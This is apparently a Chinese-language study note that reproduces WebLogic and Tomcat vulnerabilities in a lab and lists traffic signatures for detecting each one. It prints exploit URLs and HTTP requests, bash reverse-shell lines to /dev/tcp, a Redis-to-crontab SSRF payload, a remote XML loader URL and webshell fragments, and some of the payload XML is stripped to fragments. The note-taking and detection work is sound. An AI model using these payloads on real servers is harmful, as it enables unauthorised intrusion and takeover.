weblogic

CVE-2020-14883组合拳(命令执行)" class="reference-link">CVE-2020-14882(权限绕过)+CVE-2020-14883组合拳(命令执行)

CVE-2020-14882：远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic 管理控制台。
CVE-2020-14883：允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个HTTP请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

1.权限饶过

在7001控制台登陆页面直接访问/console/css/%252e%252e%252fconsole.portal

2.命令执行

方法1：

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/shanque.txt');")

由于我实在是找不到怎么进去容器看有没有生成文件来判断命令执行成功，告辞

我好像找到了，这是docker-compose ps 看到的容器名字cve-2020-14882_weblogic_1_dbf1566f61c7

这是命令

docker exec -it container_name bash

docker exec -it cve-2020-14882_weblogic_1_dbf1566f61c7 bash

走你！但是这个方法有局限并不是都适用，所以还有方法二

方法2
vps上建一个xml文件，内容如下

            bash
            -c

然后
http://192.168.163.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://182.61.39.119/1.xml“)

就可以让weblogic加载这个xml执行里面的命令。

流量特征：

许多weblogic的漏洞都会结合14882未授权访问来使用，所以告警日志里查看访问的路径里存在/console/css/%252e%252e%252fconsole.portal，然后把请求包丢到burp的repeater模块重放一下看看响应的内容是不是weblogic控制台即可。

CVE-2017-10271 XMLdecoder反序列化

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

简单来说，就是没有任何过滤就直接调用了XMLDecoder方法，而XMLDecoder本身就是用于将XML文件反序列成java的对象，因而造成漏洞的发生。

看到404就表示环境正常，/wls-wsat/CoordinatorPortType验证存在

burp抓包，然后post包里放下面的文件上传poc

                            servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt
                            Successful

没成功，应该是我要抓这个验证界面的包去贴poc

然后访问我们文件上传的位置

/wls-wsat/test.txt

文件上传成了，来反弹shell。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.163.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

/bin/bash


-c


bash -i >& /dev/tcp/ip/要监听的端口

考虑到有像我一样蠢到不会开监听然后看到反弹shell就跳过去的小伙伴，这里把开启监听的命令也打出来（狗头保命）

nc -lvvp 要监听的端口

走你！

当然攻击者也可能不反弹shell，写入木马来命令执行

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 854






    servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/shell.jsp


 ");
while((a=in.read(b))!=-1){
               out.println(new String(b));
    }
out.print("</pre>");
%&gt;]]&gt;

试一试

执行成功

总结：

三种利用方式的payload核心部分

文件上传

servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt

木马上传

bash -i >& /dev/tcp/192.168.163.129/6677 0>&1

在看到告警日志的流量包中出现以上代码，即可判断为攻击者用了xmldecode反序列化漏洞入侵，或尝试入侵。

weblogic只要命令执行都会有：rauntime.getruntime().exec(可以接exec,shell_exec,system等命令执行的函数)

weblogic其他几个版本的反序列化特征：攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。都会先用curl去访问一个dnslog，确认是否可以利用，然后通过jndi+rmi，jndi+ladp去反弹shell

遗留问题：利用成功后的返回包并无明显特征，如何在流量层面判断入侵者入侵成功呢？

CVE-2014-4210 weblogic SSRF

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

/uddiexplorer/SearchPublicRegistries.jsp`访问问这个目录可以利用ssrf

请求包长这个样子

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可以访问的端口：

http：会返回stastus code

非http：did not have a valid SOAP content-type

不存在的端口：

could not connect over HTTP to server。

通过返回的不同，可以判断内网的端口状态，然后

redis通过换行来分隔命令，虽然weblogic的ssrf是GET请求，我们还是可以用%0a%0d来注入换行符。

然后通过redis命令把shell脚本写到/etc/crontab目录里

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

base64
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意，换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送即可。
SSRF风哥课上也讲过，感兴趣的小伙伴学完这节课可以自己复现一下试试。

流量特征：也没什么特殊的，请求包里能看到访问的/uddiexplorer/SearchPublicRegistries.jsp?这个路径吧。然后ssrf用到的协议：http,https,dict.file.gopher,说到https想起如果被问到端口是https是否安全？答案是不安全，端口复用，也可能有ssh。

Tomcat

CVE-2017-12615

任意文件写入

tomcat配置了可写（readonly=false），导致我们可以往服务器写文件.

虽然Tomcat对文件后缀有一定检测（不能直接写jsp），但我们使用一些文件系统的特性（如Linux下可用/）来绕过了限制。

验证

PUT /1.jsp/ HTTP/1.1
Host: 192.168.163.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
this is shell

验证成功，写马，这里我用冰蝎自带的jsp一句话

妈的默认密码为pass我找了半天。。

流量特征：请求包里会有PUT .jsp/等，如果返回包201了还可能会有一些webshell管理工具的特征。

CVE-2020-1938任意文件读取+文件包含

Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者可通过构造特定参数读取webapp目录下的任意文件，如：webapp 配置文件或源代码等。

复现：

poc

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py ip -p 8009 -f /WEB-INF/web.xml

复现成功

流量特征：请求包里看到访问8009

深入利用之文件包含getshell

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.163.129 -p 8009 -f /WEB-INF/web.xml

在文件读取的poc里面可以看到 -f 后面是是路径，我们改一下让它读取远程的文件

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.163.129 -p 8009 -f shell.txt vpsip

然后文件的内容，echo后面加密的那一串是bash -i去反弹shell做了base64加密以后的内容

");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%&gt;

流量特征bash 这里可以看到，做了exec命令执行还是有Runtime.getRuntime().exec这个特征。呸，还好发上来再复习了一遍，这个是读取文件的内容，流量包看不到的。 所以流量特征maybe是访问了8009？因为正常访问8009就会做跳转，我也不知道用poc访问它的过程干了什么有什么特征，这个等我过两天来补充。

Tomcat最后一个，弱口令+war后门文件部署

输入/manager/html访问后台，输入弱口令tomcat tomcat进去

然后就把jsp马（菜刀，蚁剑，冰蝎随意，看心情）压缩，然后改为.war文件，上传，它会主动部署

ip/8080/war包的名字/.jsp，直接连接即可利用。比较简单这里就不贴图了

流量特征

这里也没啥特殊的，就看得到访问了后台，可以看看登陆日志。再就是几种webshell管理工具的流量特征

比如菜刀只用了base64和url编码，有z0，ini-set.

蚁剑做了加密但是还是有部分强特征没加密，php的ini-set,asp的onerror，response等。

冰蝎做了动态加密但是都会取密码MD5值的前16位，可以看content-length

哥斯拉的话无论php还是jsp都有pass=

用到的工具github上都有，要是有的过期了可以评论找我要